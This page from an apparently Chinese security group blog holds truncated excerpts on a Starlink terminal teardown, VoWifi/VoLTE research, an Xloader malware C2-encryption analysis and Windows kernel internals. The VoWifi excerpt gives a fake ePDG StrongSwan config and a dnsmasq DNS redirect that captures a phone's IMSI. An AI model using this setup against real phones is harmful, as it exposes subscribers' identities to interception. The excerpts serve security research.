Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863292506

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

1.Starlink星鏈（Starlink）計劃的設計理念，是通過約4000 枚相互鏈接的衛星和依據地理分佈的地面基站，構築一個覆蓋全球的廉價太空通信系統。

Starlink 採用的是國際電聯規定的Ku、Ka頻率，5G的頻率是500MHz，衛星通信Ku波段加起來有1GHz。

一個衛星相當於很多基站，Starlink採用的是高通量技術，高通量衛星可以從一顆衛星上發射幾十個覆蓋波束，每個覆蓋一小片，就像移動蜂窩似的，這樣不同小區的頻率就可以復用了，又提升幾十倍的容量。

傳統的衛星所有的終端最終都要落在地面站，通過地面站連入互聯網。如果按照這個估算，這4000個衛星想要跑起來至少得4000個地面站。但是如果未來衛星的網絡足夠大，就沒有那麼多需要落地的信息了——全部由星間鏈路完成了。也就是，你通信的對端和你都是直連衛星的了。

感覺很多人對偏遠地區定義有所誤解，信號走Starlink的衛星會多出一段上下行延遲，額外路程就按340km軌道高度的兩倍算，走地面光纜的速度大概是真空光通訊的2/3，也就是說即使是平原直線，信號源1400km之外理論上都是Starlink佔優勢。在北京上杭州，深圳，香港的網站都算是訪問偏遠地區，Starlink比起地面網絡延遲更短更佔優勢。

其次，地面光纜在復雜地形上的佈線成本是極其昂貴的，並不是什麼地方都又平整人口又多。被複雜地形隔開的兩個人口密集區，要快速數據通信怎麼辦？跨越青藏高原和喜馬拉雅山幾百公里無人區上建設起來的的成都-拉薩-日喀則-乃維拉-勒克瑙-新德里中印光纜，現在是將來也注定是建設維護成本極其昂貴的。在此之前要從斯里蘭卡-新加坡-香港的海底光纜中轉，繞的圈子和帶寬限制更不用說了。但是Starlink成型以後，新德里和成都的直接通訊一點額外成本都沒有。

Starlink 官網：

https://www.starlink.com/

2.固件拆解Starlink 用戶終端(UT) 的暱稱是Dishy McFlatface，安裝測試了一下Starlink 用戶終端，發現下載速度高達268 Mbps，上傳速度高達49 Mbps，速度還是不錯的。

image-20211216105529640.png image-20211216105529640

拆解Starlink 用戶終端，我們主要關心SoC和固件文件，取下塑料蓋後，可以看到覆蓋在PCB上的金屬屏蔽層，有一個以太網連接口，還有一個4針的JST SH。

image-20211216110022243 image-20211216110022243.png image-20211216110031816

image-20211216110031816.png

通過USB轉TTL轉換器將UT連接上，可以看到一些UT的啟動信息，UT使用T-Boot引導加載程序，輸入falcon後會中斷引導過程，可以訪問U-Boot CLI。

U-Boot2020.04-gddb7afb(Apr162021-21:10:45+0000)

Model:Catson

DRAM:1004MiB

MMC:Fastboot:eMMC:8xbit-div2

stm-sdhci0:0

In:nulldev

Out:serial

Err:serial

CPUID:0x000201000x870824250xb9ca4b91

DetectedBoardrev:#rev2_proto2

sdhci_set_clock:Timeouttowaitcmddatainhibit

FIP1:3FIP2:3

BOOTSLOTB

Net:NetInitializationSkipped

Noethernetfound.

*

+

++

++

++

+++++++

++++

++++

+++

+++

+++

++++

++++

++++++++++

Board:SPACEXCATSONUTERM

======================================

=Type'falcon'tostopbootprocess=

======================================繼續執行引導過程，U-Boot會通過存儲在eMMC上的ulmage FIT鏡像文件加載內核、ramdisk、FDT。會檢查內核、ramdisk、FDT的完整性（SHA256）和真實性（RSA 2048）。

UT從ROM引導加載程序到引導Linux系統初始化都實現了完整的可信引導鏈(TF-A)。

switchtopartitions#0,OK

mmc0(part0)iscurrentdevice

MMCread:dev#0,block#98304,count49152.49152blocksread:OK

##LoadingkernelfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'kernel@1'kernelsubimage

Description:compressedkernel

Created:2021-04-1621:10:45UTC

Type:KernelImage

Compression:lzmacompressed

DataStart:0xa20000dc

DataSize:3520634Bytes=3.4MiB

Architecture:AArch64

OS:Linux

LoadAddress:0x80080000

LoadSize:unavailable

EntryPoint:0x80080000

Hashalgo:sha256

Hashvalue:5efc55925a69298638157156bf118357e01435c9f9299743954af25a2638adc2

VerifyingHashIntegrity.sha256+OK

##LoadingramdiskfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'ramdisk@1'ramdisksubimage

Description:compressedramdisk

Created:2021-04-1621:10:45UTC

Type:RAMDiskImage

Compression:lzmacompressed

DataStart:0xa2427f38

DataSize:8093203Bytes=7.7MiB

Architecture:AArch64

OS:Linux

LoadAddress:0xb0000000

LoadSize:unavailable

EntryPoint:0xb0000000

Hashalgo:sha256

Hashvalue:57020a8dbff20b861a4623cd73ac881e852d257b7dda3fc29ea8d795fac722aa

VerifyingHashIntegrity.sha256+OK

Loadingramdiskfrom0xa2427f38to0xb0000000

WARNING:'compression'nodesforramdisksaredeprecated,pleasefixyour.itsfile!

##LoadingfdtfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'rev2_proto2_fdt@1'fdtsubimage

Description:rev2proto2devicetree

Created:2021-04-1621:10:45UTC

Type:FlatDeviceTree

Compression:uncompressed

DataStart:0xa23fc674

DataSize:59720Bytes=58.3KiB

Architecture:AArch64

LoadAddress:0x8f000000

Hashalgo:sha256

Hashvalue:cca3af2e3bbaa1ef915d474eb9034a770b01d780ace925c6e82efa579334dea8

VerifyingHashIntegrity.sha256+OK

Loadingfdtfrom0xa23fc674to0x8f000000

Bootingusingthefdtblobat0x8f000000

UncompressingKernelImage

LoadingRamdiskto8f848000,end8ffffe13.OK

ERROR:reservingfdtmemoryregionfailed(addr=b0000000size=10000000)

LoadingDeviceTreeto000000008f836000,end000000008f847947.OK

WARNING:ethactisnotset.Notincludingethprimein/chosen.

Startingkernel.可以看到內核命令參數、分區基地址、分區長度，還可以看到SoC包含4個CPU內核。

[0.000000]000:DetectedVIPTI-cacheonCPU0

[0.000000]000:Built1zonelists,mobilitygroupingon.Totalpages:193536

[0.000000]000:Kernelcommandline:rdinit=/usr/sbin/sxruntime_startmtdoops.mtddev=mtdoopsconsole=ttyAS0,115200quietalloc_snapshottrace_buf_size=5Mrcutree.kthread_prio=80earlycon=stasc,mmio32,0x8850000,115200n8uio_pdrv_genirq.of_id=generic-uioaud it=1SXRUNTIME_EXPECT_SUCCESS=trueblkdevparts=mmcblk0:0x00100000@0x00000000(BOOTFIP_0),0x00100000@0x00100000(BOOTFIP_1),0x00100000@0x00200000(BOOTFIP_2),0x00100000@0x00300000(BOOTFIP_3),0x00080000@0x00400000(BOOTTERM1),0x00080000@0x00500000(BOOTTE RM2),0x00100000@0x00600000(BOOT_A_0),0x00100000@0x00700000(BOOT_B_0),0x00100000@0x00800000(BOOT_A_1),0x00100000@0x00900000(BO OT_B_1),0x00100000@0x00A00000(UBOOT_TERM1),0x00100000@0x00B00000(UBOOT_TERM2),0x00050000@0x00FB0000(SXID),0x01800000@0x010000 00(KERNEL_A),0x00800000@0x02800000(CONFIG_A),0x01800000@0x03000000(KERNEL_B),0x00800000@0x04800000(CONFIG_B),0x01800000@0x050 00000(SX_A),0x01800000@0x06800000(SX_B),0x00020000@0x00F30000(VERSION_INFO_A),0x00020000@0x00F50000(VERSION_INFO_B),0x00020000

[0.000000]000:audit:enabled(afterinitialization)

[0.000000]000:Dentrycachehashtableentries:131072(order:9,2097152bytes,linear)

[0.000000]000:Inode-cachehashtableentries:65536(order:7,524288bytes,linear)

[0.000000]000:memauto-init:stack:off,heapalloc:off,heapfree:off

[0.000000]000:Memory:746884K/786432Kavailable(6718Kkernelcode,854Krwdata,1648Krodata,704Kinit,329Kbss,39548Kreserved,0Kcma-reserved)

[0.000000]000:SLUB:HWalign=64,Order=0-3,MinObjects=0,CPUs=4,Nodes=1

[0.000000]000:ftrace:allocating23664entriesin93pages

[0.000000]000:rcu:PreemptiblehierarchicalRCUimplementation.

[0.000000]000:rcu:RCUeventtracingisenabled.

[0.000000]000:rcu:RCUrestrictingCPUsfromNR_CPUS=8tonr_cpu_ids=4.

[0.000000]000:rcu:RCUpriorityboosting:priority80delay500ms.

[0.000000]000:rcu:RCU_SOFTIRQprocessingmovedtorcuckthreads.

[0.000000]000:Noexpeditedgraceperiod(rcu_normal_after_boot).

[0.000000]000:TasksRCUenabled.

[0.000000]000:rcu:RCUcalculatedvalueofscheduler-enlistmentdelayis100jiffies.

[0.000000]000:rcu:Adjustinggeometryforrcu_fanout_leaf=16,nr_cpu_ids=4

[0.000000]000:NR_IRQS:64,nr_irqs:64,preallocatedirqs:0

[0.000000]000:random:get_random_bytescalledfromstart_kernel+0x33c/0x4b0withcrng_init=0

[0.000000]000:arch_timer:cp15timer(s)runningat60.00MHz(virt).

[0.000000]000:clocksource:arch_sys_counter:mask:0xffffffffffffffmax_cycles:0x1bacf917bf,max_idle_ns:881590412290ns

[0.000000]000:sched_clock:56bitsat60MHz,resolution16ns,wrapsevery4398046511098ns

[0.008552]000:Calibratingdelayloop(skipped),valuecalculatedusingtimerfrequency.

[0.016871]000:120.00BogoMIPS(lpj=60000)

[0.021129]000:pid_max:default:32768minimum:301

[0.026307]000:Mount-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.034005]000:Mountpoint-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.048359]000:ASIDallocatorinitialisedwith32768entries

[0.050341]000:rcu:HierarchicalSRCUimplementation.

[0.061390]000:smp:BringingupsecondaryCPUs.

[0.078677]001:DetectedVIPTI-cacheonCPU1

[0.078755]001:CPU1:Bootedsecondaryprocessor0x0000000001[0x410fd034]

[0.095799]002:DetectedVIPTI-cacheonCPU2

[0.095858]002:CPU2:Bootedsecondaryprocessor0x0000000002[0x410fd034]

[0.112970]003:DetectedVIPTI-cacheonCPU3

[0.11

HireHackking

首先我會通過三個實驗來學習VoWifi/VoLTE的工作原理：

使用fasferraz 的Python IKEv2/EAP-AKA 實現連接到VoWifi：失敗；

使用Linphone 連接到VoLTE：失敗；

使用Wi-Fi 熱點、假DNS 服務器和VPN 服務器捕獲IMSI：成功；

VoLTE和VoWifi看起來可能很複雜，但要打電話，只需要和兩台電腦進行連接就可以了：

1.1.png

VoLTE和VoWifi是基於常見技術的：

在VoLTE 中，電話通過SIP 連接到P-CSCF，這是運營商的SIP VoIP 服務器。

在VoWifi中，手機首先與運營商的VoWifi VPN服務器ePDG進行IPSec VPN連接。然後通過VPN連接到P-CSCF SIP服務器，比如VoLTE。

然而，VoLTE的實現與我們日常使用的vpn和VoIP軟件不兼容。這份來自Sysmocom的報告顯示，修改Ubuntu Touch以支持VoLTE需要幾個月的時間。

那麼，是什麼阻止我用普通的VPN軟件連接到VoWifi VPN服務器，或者用普通的VoIP軟件連接到VoLTE SIP服務器呢?我決定找出答案。

在VMWare Fusion虛擬機上的Ubuntu 21.04上進行的實驗，連接到Mint上運行Android 11的Pixel 3 XL上(T-Mobile MVNO)。

連接到VoWifi為了連接到特殊的VoWifi VPN，我使用了fasferraz的SWu-IKEv2，這是一個IKEv2/IPSec VPN客戶端，它使用SIM卡實現了特殊的EAP-AKA認證方法。

在EAP-AKA 中：

只有運營商和SIM 卡本身知道密鑰K；

認證時，運營商發送兩個值：AUTN 值和RAND 值；

AUTN 值向SIM 卡證明它是真正的運營商；

SIM卡用秘鑰K對RAND值進行加密，導出兩個秘鑰：IK、CK和響應值RES；

它將RES 值發回給運營商以證明它是真正的SIM 卡；

手機使用IK 和CK 加密連接；

運營商使用K 密鑰進行相同的加密以獲得預期的IK、CK 和RES 值；

運營商在解密連接前將RES值與IK和CK進行比較；

由於沒有其他人擁有K 密鑰，因此他們無法竊聽或冒充用戶/運營商；

綜上所述，我需要將AUTN和RAND發送到SIM卡上，並取回RES、IK和CK。

SWu-IKEv2 支持與真正的SIM 卡進行EAP-AKA 通信，定義了一個HTTP API 來與SIM 卡讀卡器通信。

我決定將該API實現為一個Android應用程序，這樣我可以在我的手機中使用SIM卡:

Android有一個公共API, TelephonyManager。 getIccAuthentication來運行這個身份驗證流程；

為Android 的Wi-Fi 添加框架，因為存在使用SIM 卡進行身份驗證的Wi-Fi 熱點；

ADB也可以在Android 10及以上版本上使用；

在Android 8.1 上不可用，我嘗試使用其他SIM 卡API 來嘗試獲取此值，但每次都不成功。我構建了一個生成SIM 身份驗證請求的HTTP 服務器Android 應用程序：

adbshellsh/sdcard/runsimserver.shserve3333我的應用程序使用http而不是https，因為我不需要處理證書。值得慶幸的是，很容易修補SWu-IKEv2 以支持純http。

如果出現故障，adb logcat -b radio 通常會給出調製解調器的錯誤消息。

我在網上搜索T-Mobile的ePDG地址，將APN設置為ims，將SWu-IKEv2的SIM讀取器地址指向我的手機，並嘗試連接：

#python3swu_emulator.py-m'http://192.168.1.9:3333'-d'ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org'-M310-N260-a'ims'STATE3:

-------

sendingIKE_SA_AUTH(2)

receiveddecodedmessage:

[[46,[[41,[0,24,b'',b'']]]]]

receivedIKE_AUTH(2)

OTHER_ERROR:24它會獲得大部分握手，包括SIM 卡憑據，但會在IKE_SA_AUTH 上返回錯誤。

可能是因為Mint Mobile要求我在打開Wi-Fi通話前註冊一個緊急地址，或者SWu-IKEv2沒有實現與T-Mobile/Mint兼容的握手。

事實上，當我嘗試Verizon的Wi-Fi呼叫服務器時，SWu-IKEv2甚至無法通過握手的第一步，也無法進行SIM卡認證。我嘗試了StrongSwan，但無法找出配置文件。

連接到VoLTE如果我無法連接到VoWifi VPN，是否可以直接連接到VoLTE SIP服務器?

在Android上，我可以使用dumpsys找到SIP服務器地址：

$dumpsystelephony.registryPcscfAddresses:[/fd00:1234:5678:1234:1,/fd00:1234:1:123:1,/fd00:1234:5678:1234:2]這是一個私有的(fd00:) IP地址，所以不能通過互聯網訪問，但我可以通過Wi-Fi從我的手機訪問它。

我首先嘗試了SIP測試器sipp，看看它是否可以進行任何SIP連接:

$sipp-snuacfd00:1234:1:123:1-m1-auth_uri'sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org'

Resolvingremotehost'fd00:1234:1:123:1'.Done.

2021-11-1412:17:42.1888101636910262.188810:AbortingcallonunexpectedmessageforCall-Id'1-4126@1234:5678:1234:5678:1234:5678:1234:5678':whileexpecting'100'(index1),received'SIP/2.0403Forbidden

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=

To:service;tag=

From:sipp;tag=

Call-ID:1-4126@1234:5678:1234:5678:1234:5678:1234:5678

CSeq:1INVITE

Content-Length:0

'因為它得到了一個SIP響應，所以我決定嘗試一下Linphone，看看是否效果更好。

echo'registersip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org[fd00:1234:5678:1234:1]'|linphone-daemon--config./lollinphonerc

daemon-linphoneStatus:Ok

Id:2

daemon-linphoneQuitting.

查看日誌，它似乎失敗並顯示需要擴展消息：

REGISTERsip:ims.mnc260.mcc310.3gppnetwork.orgSIP/2.0

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport

From:tag=by3qRAb72

To:sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org

CSeq:21REGISTER

Call-ID:BqHzXhfQzf

Max-Forwards:70

Supported:replaces,outbound,gruu,sec-agree

Accept:application/sdp

Accept:text/plain

Accept:application/vnd.gsma.rcs-ft-http+xml

Contact:+sip.instance=''

Expires:0

User-Agent:Unknown(belle-sip/4.4.0)

SIP/2.0421ExtensionRequired

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0

To:tag=hmpyfr9c6bln4s4tqy698hv3v

From:tag=LEotRcq8b

Call-ID:H3P5ZXk7Z2

CSeq:20REGISTER

Require:sec-agree

Content-Length:0在查看了真正的SIP 客戶端有哪些擴展之後，我嘗試將此行添加到Linphone 配置中。

[sip]

supported=replaces,outbound,gruu,sec-agree這在標題中設置了Supported: replaces, outbound, gruu, sec-agree，但我得到了完全相同的Extension Required 錯誤。

假的VoWifi ePDG如上所述，所以連接到運營商是不可能的。

值得慶幸的是，偽裝成是運營商來獲取IMSI 很容易，並且有如何做到這一點的指南。

為了偽裝成ePDG Wi-Fi 呼叫VPN，我創建了一個StrongSwan VPN 配置：

configsetup

charondebug='ike4'

connikev2-vpn

auto=add

type=tunnel

keyexchange=ikev2

left=%any

leftid=@ims

right=%any

rightid=%any

rightauth=eap-aka

rightsourceip=10.10.10.0/24

rightdns=8.8.8.8,8.8.4.4開始StrongSwan：

sudoipsecstart--nofork--confhello.conf啟動了一個DNS 服務器，將ePDG VPN 服務器域重定向到我的假Wi-Fi 呼叫服務器：

sudodnsmasq-d--no-resolv--no-hosts--log-queries--server8.8.8.8--address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10然後我更改了手機上的DNS，激活了Wi-Fi 呼叫，然後在我的控制台上看到了這個：

07[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](496bytes)

07[ENC]parsedIKE_SA_INITrequest0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)]

07[IKE]192.168.1.9isinitiatinganIKE_SA

07[CFG]selectedproposal:IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048

07[ENC]generatingIKE_SA_INITresponse0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)N(CHDLESS_SUP)N(MULT_AUTH)]

07[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](456bytes)

08[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](348bytes)

08[ENC]unknownattributetype(16386)

08[ENC]parsedIKE_AUTHrequest1[IDiIDrCPRQ((16386)DNS6DNS6ADDR6)SATSiTSr]

08[CFG]lookingforpeerconfigsmatching192.168.1.10[ims].192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]

08[CFG]nomatchingpeerconfigfound

08[ENC]generatingIKE_AUTHresponse1[N(AUTH_FAILED)]

08[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](76bytes)還有我的IMSI，發送給任何控制Wi-Fi 網絡、DNS 和VPN 服務器的對手。

基於Wi-Fi 搭建一個VoLTE/VoWiFi 環境對VoLTE/VoWiFi 的研究不需要昂貴的設備！通過使用免費軟件設置你自己的Wi-Fi 呼叫服務器，了解VoLTE/VoWiFi 的工作原理。

2.1.jpg

我會在本文中向你展示如何接管越獄iPhone 上的Wi-Fi 通話，並將其集成到本地電話撥號器和短信應用程序中，就像真正的運營商一樣。

我的最終目標是發行我自己的SIM 卡，通過Wi-Fi 將任何越獄或未越獄的手機連接到我的電話網絡。

VoLTE 和Wi-Fi 通話基於IPsec/IKEv2 和SIP 等開放標準，因此我們的電話網絡將使用免費軟件構建：

iPhone - 越獄調整以重定向Wi-Fi 呼叫- 我的Docker 容器- StrongSwan - Kamailio；

檢查VoWiFi要了解VoLTE 和VoWiFi，首先要在你撥打電話或發送SMS 時捕獲手機的流量。

你只需要一部iPhone 和一台裝有Xcode 和Wireshark 的Mac。

Xcode 提供了rvictl 工具來捕獲來自iPhone 的所有網絡流量，無需越獄。

如果你沒有Mac，gh2o 的rvi_capture 可以在Linux 和Windows 上捕獲。

所有電話和運營商之間的SIP消息是可見的，完全不加密。你可以看到當你撥打另一個電話時會發生什麼：

2.2.png

或者你如何接收短信：

2.3.png

在VoWiFi 上，你甚至可以轉儲實際的語音編解碼器數據包。

此外，iPhone 還提供來自VoWiFi ePDG VPN 隧道和SMS 處理的日誌：

在Mac 上打開控制台應用程序，過濾到CommCenter，然後啟用“操作- 包含信息消息/包含調試消息”。然後，過濾CommCenter 以獲取VoLTE/VoWiFi 消息，例如此IKEv2 握手：

2.4.png

建立自己的電話網絡如果你不想只查看VoLTE/VoWiFi 數據包怎麼辦？如果你想建立自己的網絡怎麼辦？為此，你需要一個越獄的iPhone 和一個Docker 容器。

我在iOS 14.1 上使用帶有Verizon SIM 卡的越獄iPhone 12。

如果你使用的是Android，則搭載Android 10 及更高版本的設備（所有2020 年或更高版本的設備）可能會在沒有root 的情況下重定向Wi-Fi 呼叫，但我還沒有嘗試過。

重定向ePDG 連接我們的目標是VoWiFi（Wi-Fi 通話），因為運行VoLTE 網絡需要至少150 美元的收音機，並獲得LTE頻率的廣播許可。 Wi-Fi 不需要任何特殊的硬件或繁文縟節。

Wi-Fi 通話使用IPsec/IKEv2 VPN 隧道進行保護，並使用EAP-AKA 進行身份驗證，它使用SIM 卡上只有運營商知道的密鑰。

由於我沒有空白SIM 卡，我編寫了一個越獄插件，用簡單的預共享密鑰（密碼）身份驗證替換SIM 卡檢查。

要運行調整，你需要：

越獄你的手機並安裝Substrate 或其他方法掛鉤平台；

設置Theos；

複製RedirectVoWiFiTweak；

將服務器地址指向你的VoWiFi 服務器的地址；

安裝包；

將你的手機置於飛行模式，然後啟用Wi-Fi通話(設置-蜂窩- Wi-Fi通話)；

最終結果：VoWifi 隧道為你的IPsec/IKEv2 VPN 服務器創建了一個VPN，而不是Verizon 的。

我是如何構建調整的iPhone 在用戶空間中運行整個VoLTE/VoWiFi 堆棧：通過越獄，我們可以做任何事情。但是，我的最終目標是在未越獄的手機上使用自定義SIM 卡進行這項工作，所以我只做了最小的更改。

ePDG 只是一個IPsec/IKEv2 VPN 隧道，在SIM 卡上具有EAP-AKA 身份驗證。要禁用EAP-AKA 身份驗證並切換到PSK：

我運行nm CommCenter，看到它正在使用NEIPSecIKECreateSessionWithInterface啟動VPN隧道；

我在NetworkExtensions中找到了這個符號，並在Ghidra中分解了它；

它是一個包裝器-[NEIKEv2Session

initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:ssession:packetDelegate:]'；我鉤住了那個方法，並刪除了參數；

我用PSK 在Mac 上創建了另一個IPsec/IKEv2 隧道；

我附加到macOS 的VPN 實現：

lldb-nNEIKEv2Provider-w

binitWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:我將其參數與VoLTE ePDG隧道進行了比較，以了解macOS如何設置PSK；

我為PSK設置了相同的標誌；

這是我第一次調試iPhone，結果如下：

dlevi309 向我發送拉取請求以自動重啟CommCenter；

hbkirb 將我指向HearseDev 的Theos 徽標語言的clang 格式包裝器；

用到的資源如下：

Kanns103 的調整開髮指南；

elihwyma 的commcenterpatch13，它也掛鉤了CommCenter；

擁有StrongSwan 和Kamailio 的Wi-Fi 呼叫服務器

用一個電話與兩個服務通話來建立VoWifi：

ePDG，一個IPsec/IKEv2 VPN 服務器，我們使用StrongSwan；

P-CSCF，一個SIP VoIP 服務器，我們使用Kamailio；

我用兩個預裝做了一個Docker容器。

在macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac 上測試。

首先，如果你不在Verizon 上，請在配置中更改IMS 域。你可以通過使用rvictl 捕獲SIP REGISTER 請求來查找域。

然後，運行：

dockercomposebuild

dockercomposeup等待來自電話的連接：

12[IKE]IKE_SAikev2-vpn-iphone[4]establishedbetween172.19.0.2[ims].172.19.0.1

12[IKE]IKE_SAikev2-vpn-iphone[4]statechange:CONNECTING=ESTABLISHED然後嘗試向手機發送短信：

ssh-p22222root@localhost

Password:vowifi

$encodesms1555444333319085823275'hello'將

或緊急警報：

$encodesms_cdmaemerg19085823275'duckandcover'或者打個電話：

$baresip

/uanewsip:+15554443333@localhost

/dialsip:+19085823275@localhost甚至嘗試在你自己的網絡上複製Purdue大學研

HireHackking

Xloader 是一種信息竊取惡意軟件，是Formbook 的迭代版本，自2016 年初以來一直在黑客論壇上被出售。 2020 年10 月，Formbook 更名為Xloader，並進行了一些重大改進，特別是與命令和控制(C2)網絡加密相關的改進。隨著Xloader的到來，惡意軟件的開發者也停止了出售面板的代碼和惡意軟件的可執行文件。當出售Formbook時，一個基於web的命令和控制(C2)面板被提供給客戶，以便他們可以自行管理自己的殭屍網絡。 2017 年，Formbook 的面板源被洩露，隨後，Xloader 背後的攻擊者轉向了不同的商業模式。 Xloader C2基礎設施不是傳播一個功能齊全的犯罪軟件套件，而是出租給客戶。這種“惡意軟件即服務”(MaaS)的商業模式可能更有利可圖，並使竊取變得更加困難。

Xloader的功能包括：

從網絡瀏覽器和其他應用程序竊取憑證；

捕獲按鍵信息；

螢幕截圖;

竊取存儲的密碼；

下載並執行其他二進製文件；

執行命令；

之前的文章已經分析了Formbook 和Xloader 混淆的各個方面。在這篇文章中，我們對Xloader 的C2 網絡加密和通信協議進行了詳細的分析。請注意，Xloader 是跨平台的，能夠在Microsoft Windows 和MacOS 上運行。此分析專門針對Windows 版本的Xloader。

技術分析Xloader 和Formbook 使用HTTP 與C2 服務器通信。 HTTP GET 查詢作為一種註冊形式發送。之後，惡意軟件向C2 發出HTTP POST 請求，以竊取屏幕截圖、被盜數據等信息。在這兩種情況下，GET 參數和POST 數據共享相似的格式並被加密，如下圖所示，我們將解釋以下部分中的加密算法。

1.png

Xloader C2 通信捕獲

誘餌和真實的C2服務器在整個Xloader惡意軟件有多個結構的加密塊的數據和代碼，這些塊旨在通過使用函數序言push ebp 和mov ebp, esp 的彙編指令來混淆惡意軟件分析人員和反彙編程序，如下圖所示。我們將這些結構命名為PUSHEBP 加密塊。這些塊使用基於RC4 的算法結合編碼層和自定義虛擬機(VM) 進行解密。

2.png

Xloader PUSHEBP 加密塊

其中一個PUSHEBP 塊包含加密字符串和誘餌C2 列表，這些誘餌是合法域，被添加以誤導惡意軟件研究人員和自動惡意軟件分析系統。真正的C2 服務器是單獨存儲的，並使用另一種更複雜的方案進行加密。負責解密真實C2 服務器的偽代碼如下圖所示。

3.png

Xloader C2 解密算法

在上圖中，RC4_based_Decryptor 函數由RC4 加密（使用0x14 字節密鑰）和另外兩個編碼層組成，如下所示：

4.png

附加的編碼層由簡單的減法運算組成：

5.png

VM_Decryptor 函數是Xloader 使用的另一種算法，它實現了一個自定義虛擬機(VM)。下面的Python代碼行重現了Xloader為解密真實的C2而執行的步驟。

6.png

解密後，C2 URL 的格式類似於www.domain.tld/botnet_id/

C2通信發生在誘餌域和真實的C2服務器上，包括發送從受害者那裡竊取的數據。因此，有一種可能，備份C2可以隱藏在誘餌C2域中，並在主C2域被刪除時用作備用通信通道。

Formbook 通信加密在FormBook中，HTTP GET參數(和POST數據)是通過四個步驟加密的：

1.使用真實C2 的域和路徑，通過以下方式計算RC4 密鑰：Reverse_DWORDs(SHA1(

2.結果被用作一個RC4 密鑰來加密數據；

3.數據經過RC4 加密後，還會使用Base64 進行額外編碼；

4.通過HTTP POST 請求發送的數據使用表1 中所示的字符替換進行格式化。

7.png

Formbook C2 字符替換

因此，Formbook C2通信可以很容易地通過逆向過程解密，因為C2域和路徑是已知的。

Xloader 通信加密的具體細節XLoader 中的網絡加密更為複雜，該過程中添加了一個額外的RC4 層，其中包含一個複雜的算法，該算法使用以下步驟來推導加密密鑰：

1.為了加密HTTP網絡數據，Xloader首先計算一個我們稱之為Key0Comm的密鑰，如下圖所示。

8.png

Xloader KeyComm0 推導

正如我們在上圖中看到的，PUSHEBP 塊7 是使用Xloader VM 解密的。一旦解密，這個塊的長度為0x15字節。第一個0x14字節用作RC4密鑰，最後一個字節用於根據switch語句選擇並解密另一個PUSHEBP塊(在4、5、6、8、9和10塊中)。因此導出的參數Key0Comm 如下：

Key0Comm=RC4_based_Decryptor(decPushebpBlock7Key[:0x14],decSwitchBasedPushebpBlock)然而，即使在相同版本的Xloader上，PUSHEBP 塊的順序以及開關和塊編號之間的關聯也會從一個樣本更改為另一個樣本（即此函數的代碼是隨機的）。下圖顯示了此函數在兩個不同Xloader v2.5 示例之間的比較。

9.png

Xloader KeyComm0函數映射到一個塊

下圖顯示了這些switch 語句如何映射到這些示例中的不同塊ID。

10.png

Xloader 塊ID 映射示例

為了對C2 通信執行加密，必須知道映射這些塊的特定樣本表，以導出加密密鑰Key0Comm。

2.接下來，使用與Formbook相同的算法計算我們稱為Key1Comm的另一個密鑰：Key1Comm=Reverse_DWORDs(SHA1(

3.最後，我們需要計算最後一個密鑰，使用Xloader 自定義的基於RC4 的解密算法如下：

Key2Comm=RC4based_Decryptor(Key0Comm,Key1Comm)擁有所有這三個RC4 密鑰，我們可以加密和解密Xloader C2 通信。 使用擁有兩層標準RC4的密鑰Key2Comm 和Key1Comm 對數據包進行加密，如下所示：

11.png

Xloader 還進一步應用了前面描述的用於POST 查詢的Base64 和字符替換

總結Xloader 是一個成熟的惡意軟件家族，擁有許多誤導研究人員和阻礙惡意軟件分析的技術，包括多層加密和自定義虛擬機。儘管開發者放棄了Formbook 分支以專注於重新命名的Xloader，但這兩種惡意軟件今天仍然非常活躍。 Formbook仍然被使用洩露的面板源代碼和自我管理C2 的攻擊者使用，而原始開發者繼續將Xloader 作為MaaS 出售，支持和租用服務器基礎設施。毫不奇怪，它一直是近年來最活躍的威脅之一。

HireHackking

在本文中，我們將為讀者詳細介紹在Windows 11內部預覽版中，KUSER_SHARED_DATA結構體發生了哪些新變化。下面，我們開始進入本文的下篇部分！

（接上文）

知道了這些，我們就會明白：在調用nt!MiReservePtes之前，就可以計算出對應於“靜態”的KUSER_SHARED_DATA的PFN數據庫的適當索引。這實質上意味著我們正在從PFN數據庫中檢索相應PFN記錄（一個MMPFN結構）的虛擬地址。

